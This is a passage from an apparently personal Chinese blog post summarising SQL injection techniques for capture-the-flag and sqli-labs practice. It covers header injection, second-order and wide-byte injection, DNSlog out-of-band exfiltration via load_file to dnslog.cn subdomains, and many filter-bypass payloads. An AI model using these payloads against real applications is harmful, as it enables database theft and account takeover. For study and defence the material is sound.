填好值后,刷新页面就可以执行了

接下来就是常规流程,跟之前差不多的操作,爆库、爆表、爆字段,最后拿到flag

Refer注入

步骤跟上面的注入差不多,只是这次注入点在Refer

或者

1
sqlmap -u http://www.example.com/ -r "1.txt" --level 5 --dbs

XFF注入

注入点在X-Forwarded-For

1
sqlmap -u http://www.example.com/ -r "1.txt" --level 5 --dbs
1
X-Forward-For:127.0.0.1' select 1,2,user()#

其他类型

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

比如,当我们浏览一些注册登录页面的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,再访问xxx.php?id=40得到user()的结果,利用这种注入方式会得到数据库中的值。

当然通过这种方法可以修改一些已存在用户的密码,比如sqli-labs less 24(详细过程) ,假如我们注册了一个账号,账号名为admin’#,密码为111111

然后再去修改密码的页面将密码修改为1234567,则后端执行的sql语句就是:

1
UPDATE users SET PASSWORD='1234567' where username='admin’#' and password='$curr_pass'

等价于:

1
UPDATE users SET PASSWORD='1234567' where username='admin’

就相当于把admin的密码修改为1234567了。

也就是说其实在第一次注入尝试的时候,它的限制比较严格,并没有报错,然后第二次 由于限制不严存在sql注入漏洞

一个相关例子就是红岩杯的暴躁老哥的作业系统

宽字节注入

利用条件:

1.查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数

2.数据库的编码方式为GBK

1
id = -1%DF'+union+select+1,user(),3,%23

在上述条件下,单引号’被转义,多出反斜杠(即%5c),所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

嵌套查询

查询已知数据库的表名(sql)时,正常的查询语句如下

1
select table_name from information_schema.tables where table_schema='sql' limit 0,1

但是由于单引号被转义,会多出反斜杠,导致SQL语句出错,所以要用到嵌套查询

1
?id=-1%DF'+union+select+1,(select+table_name+from information_schema.tables+where+table_schema=(select+database())limit+0,1)

也就是把table_schema=’sql’换成了table_schema=(select+database())

这里括号内的查询语句会被先执行

base64注入

没什么好说的,就是传入的参数会经过一次base64加密,因此我们注入的时候要先base64加密一下

例如

1
?id=MSBhbmQgMT0y

Dnslog注入

参考:csdn1 csdn2

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
利用条件:

1.SQL服务器能连接网络;

2.开启了LOAD_FILE() 读取文件的函数

3.dnslog回显只能用于windows系统

4.一般得是root权限

关于secure_file_priv

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

手工注入

可以利用在线的dns在线服务器记录下DNS请求

http://www.dnslog.cn

http://ceye.io/

http://admin.dnslog.link

例如

1
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('//',(select database() limit 0,1),'.u9zk6s.dnslog.cn/1.txt'))--+
1
select load_file(concat("//",(查询内容),"域名/任意文件名"))

‘\\‘代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。所以这样也可以

1
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database() limit 0,1),'.u9zk6s.dnslog.cn\\1.txt'))--+

图中的security即刚才查询到的数据库名

工具注入

http://www.ceye.io ,先在该网站注册获得api和DNSurl

然后再配置好DnslogSqlinj工具(不知道为什么那个网站一直访问不了,先拿一下别人的图吧,有空再亲自试)

修改DnslogSqlinj的配置文件,填好API和DNSurl

1
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs

之后的操作就跟sqlmap差不多了

({})内是dnslogSql自行添加的注入语句,还有闭合方式也要自己判断

Bypass技巧

关键字绕过

大小写绕过

如果仅只过滤了特定关键字的小写字符,正则对大小写不敏感,那么通过大小写就能成功绕过

比如select改成SelEct

1
2
3
4
5
6
if (stripos($sql, 'select') !== false) {
throw new Exception('Invalid SQL query: SELECT statement not allowed');
}

// 执行查询语句
$result = $db->query($sql);

双写绕过

如果这次过滤了关键字的大小写,也就是大小写绕过不再生效,但它仅仅把关键字的字符串替换为空(比如replace () 函数置换),并没有中断查询,那么就能通过双写来绕过

例如:select改成selselectect

1
union selselectect 1,2

注释符绕过

方法有挺多的

unio<>n代替union

查了一下<> 等价于 !=,所以是如何达到这个效果的目前还未搞懂,等以后看能不能遇到吧

se/**/lect代替select。或者/*select*/代替select

如果是Mysql的数据库的话,也可以用前面提到的内联注释,用/*!select*/替代select

编码绕过

也可以说大多数情况下用于关键词绕过

url全编码

URL编码即(%+十六进制)

1
2
%55nION%20%53ElecT%201,2,3
Union SElect 123

十六进制

也可用于绕过引号

str -> hex

在线网站

1
SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

flag转为16进制(hex)就是0x666c6167

ascii编码绕过

Test 等价于

1
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

Unicode 编码

常用的几个符号的一些 Unicode 编码:

1
2
3
4
单引号: %u0027%u02b9%u02bc、%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7
空格:%u0020%uff00%c0%20%c0%a0%e0%80%a0
左括号:%u0028%uff08%c0%28%c0%a8%e0%80%a8
右括号:%u0029%uff09%c0%29%c0%a9%e0%80%a9

二次URL编码

当尝试采用URL全编码的方式绕过的时候,如果是以GET方式传入的(如:?id=),由于服务器会自动对URL进行一次URL解码,所以要把关键词全编码两次

1
2
3
select
第一次 %73%65%6c%65%63%74
第二次 %2573%2565%256c%2565%2563%2574

绕过空格

编码绕过

也可以用编码绕过空格,具体就是前面提的那些

1
2
3
4
5
6
7
8
9
+
%9
%20
%0A python中:chr(0x0A) mysql中:char(0x0A)
%0C
%0B
%0D
%A0
0x09 制表符,char(0x09)或者char(9)

内联注释

一般用/**/代替空格

例如

1
2
3
4
id=-1/**/union/**/select/**/1,database()
id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='tuvzzdtchn'
id=-1/**/union/**/select/**/1,group_concat(ieirtujwgz)/**/from/**/sqli.tuvzzdtchn

括号绕过

也就是括号()代替空格,比如

1
2
SELECT username FROM `user`
改成SELECT(username)FROM(`user`)

这样查询指定的字段是可以的,但是如果同时查询全部字段似乎是行不通的

1
SELECT(*)FROM(`user`)

绕过引号

正常的查询语句一般为

1
select group_concat(column_name) from information_schema.columns where table_name="user"

但如果过滤了引号,就无法执行SQL查询语句了

十六进制

因此,我们可以通过前面提到的转十六进制,来达到不使用引号便能查询的效果

1
select group_concat(column_name) from information_schema.columns where table_name=0x75736572

宽字节

使用条件比较苛刻,在 web 应用使用的字符集为 GBK 时,并且过滤了引号,就可以试试宽字节。%27 表示 单引号

1
2
单引号'会被转义成 \'
%df%27 union select 1,2,3 #

%df%5c是一个繁体字“連”,前面宽字节注入中讲过

绕过逗号

from to

就是from pos for len, 表示从 pos 个开始读取 len 长度的子串

盲注的时候为了截取字符串,我们往往会使用substr(),mid()。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from to的方式来解决:

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

等价于mid/substr(database(),1,1)

使用join

1
select * from users union select * from (select 1)a join (select 2)b join(select 3)c

等价于

1
select * from users union select 1,2,3

使用like

适用于 substr () 等提取子串的函数中的逗号,同样较多用于盲注的场景

1
select user() like "t%"

等价于

1
select ascii (substr (user (),1,1))=114

t的ascii码为114

使用offset

适用于 limit 中的逗号被过滤的情况

1
2
3
limit 2,1 
等价于
limit 1 offset 2

盲注的时候除了substr()和mid()需要使用逗号,limit也会使用逗号,比如

1
2
3
select * from sheet1 limit 0,1 
等价于
select * from sheet1 limit 1 offset 0

过滤 or and xor (异或) not 绕过

1
2
3
4
5
6
7
8
and = &&

or = ||

xor = |

not = !

意思就是前面的字符等效于(=)后面的字符

绕过大小于号

盲注中,一般使用大小于号来判断 ascii 码值的大小(即二分法)来达到爆破的效果。当然有时候大小于号也会被限制

greatest()、least()

greatest (n1, n2, n3…): 返回 n 中的最大值

least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

1
select * from sheet1 where 用户名="admin" and ascii(substr(database(),1,1))>64

可以达到相同的效果:

1
select * from sheet1 where 用户名="admin" and greatest(ascii(substr(database(),1,1)),64)=64

如果database的第一个字符不是这里最大的则会返回64,则64=64,and后面成立。反之若大于64,就会返回大于64的数,也就不能实现64=64,导致不会有回显了。

least ()原理差不多

between

between a and b: 范围在 a-b 之间,包括 a、b。

1
select * from sheet1 where 用户名="admin" and ascii(substr(database(),1,1)) between 64 and 128 

判断ascii值是否在64和128之间

绕过等于号

like

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。

1
union select 1,group_concat(column_name) from information_schema.columns where table_name like "users"

同时,like有两个模式:_和%

_:表示单个字符,用来查询定长的数据

%:表示0个或多个任意字符

抄一下大佬的解释

1
2
3
4
(1)SELECT * FROM Persons  WHERE City LIKE 'N%'     "Persons" 表中选取居住在以 "N" 开始的城市里的人
2SELECT * FROM Persons WHERE City LIKE '%g' "Persons" 表中选取居住在以 "g" 结尾的城市里的人
3SELECT * FROM Persons WHERE City LIKE '%lon%'"Persons" 表中选取居住在包含 "lon" 的城市里的人
4SELECT * FROM Persons WHERE City NOT LIKE '%lon%'"Persons" 表中选取居住在不包含 "lon" 的城市里的人

所以

1
SELECT * FROM `test` where id =1 and (substr(database(),1,1)="t")

等效于

1
SELECT * FROM `test` where id =1 and (database() like "t%")

in 关键字

1
select * from users where id = 1 and substr(username,1,1) ='t'

等效于

1
select * from users where id = 1 and substr(username,1,1) in ('t')

判断第一个字符是否为t

rlike和regexp

这两者用法没什么差别

rlike:模糊匹配,只要字段的值中存在要查找的部分就会被选择出来,没有通配符效果和 = 一样

regexp:效果同上,就是需要数据库为MySQL

1、模糊查询字段中包含某关键字的信息。
如:查询所有包含“希望”的信息:select * from student where name rlike ‘希望’

**2、模糊查询某字段中不包含某关键字信息。
**如:查询所有不包含“希望”的信息:select * from student where name not rlike ‘希望’

3、模糊查询字段中以某关键字开头的信息。
如:查询所有以“大”开头的信息:select * from student where name rlike ‘^大’

4、模糊查询字段中以某关键字结尾的信息。
如:查询所有以“大”结尾的信息:select * from student where name rlike ‘大$’

5、模糊匹配或关系,又称分支条件。
如:查询出字段中包含“幸福,幸运,幸好或幸亏”的信息:
select * from student where name rlike ‘幸福|幸运|幸好|幸亏’

所以

1
SELECT * FROM `test` where id =1 and (substr(database(),1,1)="t")

等效于

1
SELECT * FROM `test` where id =1 and (database() rlike "^t")

strcmp()

3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

1
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

通过返回值(1或-1)来判断第一个字符是否为t

绕过where

可以用having来替代

1
2
select goods_price,goods_name from sw_goods where goods_price > 100
select goods_price,goods_name from sw_goods having goods_price > 100

where 后面要跟的是数据表里的字段,如果我把ag换成avg(goods_price)也是错误的!因为表里没有该字段。而having只是根据前面查询出来的是什么就可以后面接什么。

详细见:正确理解MySQL中的where和having的区别

其他

true

true可以用来表示数字1,结合char可以构造出字符

space()

space(number)可以输出指定数量的空格,但我在ctfshw的题目上试时,不论多少个,它输出值都是空,所以我加了个replace来将空格显式的表达出来

假设题目场景是个输出字符检测

1
2
3
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
1
-1' union select replace(space(ascii(mid(password,1,1))),' ','a'),'a' from ctfshow_user4 --+

这样可以通过数有多少个a,来将其数字通过ascii转化成字符,可得到对应位数的字符

理论上只要找到没被preg_match的字符,就能绕过它的输出检测

然而这个方法还是比较鸡肋的,如果题目仅仅检测输出,那完全有很多更方便的方法,盲注、写文件等

replace会把不支持的字符全变为?,比如用“邪恶”的全角字符𝐚

1
-1' union select replace(space(ascii(mid(password,1,1))),' ','𝐚'),'𝐚' from ctfshow_user5 --+

总结与感悟

2023.4.24

陆陆续续写了一周多,期间借鉴了许多大佬的文章,收获了挺多。也留了一些坑,等以后回来补,例如绕waf等知识,第一次在学长的文章看到的,但没有实际接触过,所以想着过段时间再回来慢慢补上一些知识点。总的来说,还是一个美妙的体验,第一次写这么长的文章嘿嘿嘿。

参考:

fushuling

DiaosSama

先知社区

cnblogs

csdn


sql注入总结
https://www.supersmallblack.cn/sql注入总结.html
作者
Small Black
发布于
2023年11月17日
许可协议